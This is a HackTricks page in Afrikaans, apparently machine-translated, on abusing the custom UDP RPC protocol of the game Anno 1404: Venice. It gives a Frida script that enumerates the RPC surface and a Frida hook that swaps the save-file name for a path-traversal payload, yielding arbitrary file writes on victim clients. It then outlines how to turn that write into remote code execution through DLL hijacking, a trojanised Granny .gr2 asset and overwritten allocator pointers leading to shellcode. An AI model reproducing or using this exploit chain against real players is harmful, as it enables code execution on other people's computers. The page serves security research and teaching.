Aangepaste UDP RPC-enumerasie & Misbruik van lêer-oordrag

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Kaartlegging van proprietêre RPC-objekte met Frida

Oudere meerspeler-titels inkorporeer dikwels eie RPC-stakke bo-op UDP. In Anno 1404: Venice word dit geïmplementeer binne NetComEngine3.dll via die RMC_CallMessage dispatcher, wat 5 velde uit elke datagram ontleed:

VeldDoel
IDRPC-werkwoord (16-bit)
FlagsVervoer-modifikasies (betroubaarheid, ordening)
SourceObjek-ID van die oproeper
TargetObjectremote objekinstansie
MethodMetode-indeks binne die teikenklas

Twee helper-funksies – ClassToMethodName() en TargetName() – vertaal rou ID’s na mensleesbare stringe vir logging. Deur brute-forcing van 24‑bit objek-ID’s en 16‑bit metode-ID’s en deur daardie helpers aan te roep, kan ons die hele op-afstand bereikbaar oppervlak enumereer sonder verkeersopnames of symbol leaks.

Frida surface enumerator (trimmed) ```javascript 'use strict';

const classToMethod = Module.getExportByName(‘NetComEngine3.dll’, ‘ClassToMethodName’); const targetName = Module.getExportByName(‘NetComEngine3.dll’, ‘TargetName’);

function tryID(objID, methodID) { const method = new NativeFunction(classToMethod, ‘pointer’, [‘pointer’, ‘uint’]); const target = new NativeFunction(targetName, ‘pointer’, [‘pointer’]); const buf = Memory.alloc(Process.pointerSize); buf.writeU32(objID); const m = method(buf, methodID); if (!m.isNull()) { const t = target(buf); console.log(objID.toString(16), ‘=’, t.readUtf16String()); console.log(’ -’, methodID, ‘=’, m.readUtf16String()); } }

for (let obj = 0; obj < 0x9000000; obj += 0x400000) { for (let meth = 0; meth < 0x40; meth++) { tryID(obj, meth); } }

</details>

Die uitvoering van `frida -l explore-surface.js Addon.exe` het die volledige RPC-kaart uitgegee, insluitend die `Player` object (`0x7400000`) en sy lêer-oordrag-werkwoorde `OnSendFileInit`, `OnSendFileData`, `OnReceivedFileData`, en `OnCancelSendFile`. Dieselfde werkvloei geld vir enige binêre protokol wat interne reflection helpers openbaar: onderskep die dispatcher, brute-force IDs, en log wat die engine reeds weet oor elke oproepbare metode.

### Wenke

- Gebruik die engine se eie logbuffers (`WString::Format` in hierdie geval) om te voorkom dat jy ongedokumenteerde stringkoderinge herbou.
- Dump `Flags` om betroubaarheidsfunksies (ACK, resend requests) te identifiseer voordat jy met fuzzing begin; pasgemaakte UDP-stakke verwerp dikwels verkeerd gevormde pakkette sonder foutmelding.
- Berg die geënumeerde kaart – dit dien as 'n fuzzing-korpus en maak duidelik watter objekte die lêerstelsel, die wêreldtoestand, of in-speletjie-skriptering manipuleer.

## Ondermyning van lêer-oordrag-RPC's

Veelspeler-stoor-sinchronisering het 'n handdruk van twee pakkette gebruik:

1. `OnSendFileInit` — dra die UTF‑16 lêernaam wat die kliënt moet gebruik wanneer dit die inkomende payload stoor.
2. `OnSendFileData` — stroom rou lêerinhoud in vaste-grootte stukke.

Omdat die server die lêernaam serialiseer deur `ByteStreamWriteString()` net voor die stuur, kan 'n Frida-hook die pointer na 'n traversal-payload ruil terwyl pakketgroottes intact bly.

<details>
<summary>Lêernaamruiler</summary>
```javascript
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');

Interceptor.attach(writeStr, {
onEnter(args) {
const src = args[1].readPointer();
const value = src.readUtf16String();
if (value && value.indexOf('Sauvegarde.sww') !== -1) {
args[1].writePointer(evil);
}
}
});

Slagoffer-kliënte het geen sanitisering uitgevoer nie en het die ontvangde save geskryf na watter pad die kwaadwillige gasheer voorsien het, bv. neergeplaas in C:\User\user in plaas van die beoogde ...\Savegames\MPShare-boom. Op Windows-installasies van Anno 1404 is die spelgids deur almal skryfbaar, sodat die traversal onmiddellik ’n arbitrary file write primitive word:

  • Drop DLLs for classic search-order hijacking on next launch, or
  • Overwrite asset archives (RDA files) so that weaponized models, textures, or scripts are loaded live during the same session.

Verdedig / aanval op ander teikens

  • Soek na RPC-verbs met name soos SendFile, Upload, ShareSave, ens., en onderskep die serialization helper wat verantwoordelik is vir filenames of target directories.
  • Selfs as filenames op lengte nagegaan word, vergeet baie stacks om ..\ of gemengde / vs \-reekse te kanoniseer; brute-force alle skeidingstekens.
  • Wanneer die ontvanger lêers onder die spelinstallasiepad stoor, kontroleer ACLs met icacls om te bevestig of ’n onbevoorregte gebruiker daar kode kan drop.

Turning path traversal into live asset execution

Sodra jy arbitrary bytes kan upload, vervang enige gereeld gelaaide asset:

  1. Unpack the archive. RDA archives are DEFLATE-based containers whose metadata is optionally XOR-obfuscated with srand(0xA2C2A) seeded streams. Tools like RDAExplorer re-pack archives after edits.
  2. Inject a malicious .gr2. Die getrojaniseerde Granny 3D-lêer dra die relocation exploit wat SectionContentArray oorskryf en, deur ’n twee-stadium relocation-volgorde, ’n arbitrary 4-byte write binne granny2.dll verkry.
  3. Hijack allocator callbacks. Met ASLR gedeaktiveer en DEP af, herlei die vervanging van die malloc/free funksie-aanwysers in granny2.dll die volgende allokasie na jou shellcode, wat onmiddellike RCE gee sonder om te wag dat die slagoffer die spel herbegin.

Hierdie patroon generaliseer na enige titel wat gestruktureerde assets vanaf binêre argiewe stream: kombineer RPC-level traversal vir aflewering en onveilige relocation-verwerking vir code execution.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks